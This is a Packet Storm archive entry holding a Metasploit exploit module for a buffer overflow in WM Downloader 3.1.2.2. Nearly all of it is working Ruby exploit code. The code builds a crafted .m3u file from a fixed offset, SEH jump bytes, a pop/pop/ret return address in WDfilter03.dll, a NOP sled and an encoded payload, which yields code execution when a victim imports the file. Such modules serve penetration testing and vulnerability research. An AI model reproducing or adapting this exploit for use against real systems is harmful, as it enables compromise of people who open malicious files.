WM Downloader 3.1.2.2 Buffer Overflow

2010-08-12T00:00:00
ID PACKETSTORM:92678
Type packetstorm
Reporter dookie
Modified 2010-08-12T00:00:00

Description

                                        
                                            `  
##  
# $Id: wm_downloader_m3u.rb 9968 2010-08-07 00:51:52Z swtornio $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/projects/Framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'WM Downloader 3.1.2.2 Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in WM Downloader v3.1.2.2. When  
the application is used to import a specially crafted m3u file, a buffer overflow occurs  
allowing arbitrary code execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'fdisk', # Original Exploit  
'dookie' # MSF Module  
],  
'Version' => '$Revision: 9968 $',  
'References' =>  
[  
[ 'OSVDB', '66911'],  
[ 'URL', 'http://www.exploit-db.com/exploits/14497/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x09\x0a",  
'StackAdjustment' => -3500  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ], # p/p/r in WDfilter03.dll  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jul 28 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),  
], self.class)  
  
end  
  
def exploit  
  
sploit = rand_text_alpha_upper(43480) # Offset for WinXP  
sploit << "\xeb\x20\x90\x90" # Jump to the nops after the 2nd offset  
sploit << [target.ret].pack('V') # Offset  
sploit << rand_text_alpha_upper(16) # Pad to reach the Win7 Offset  
sploit << "\xeb\x0C\x90\x90" # Jump over the cruft  
sploit << [target.ret].pack('V') # Offset  
sploit << "\x90" * 8  
sploit << payload.encoded  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(sploit)  
  
end  
  
end  
`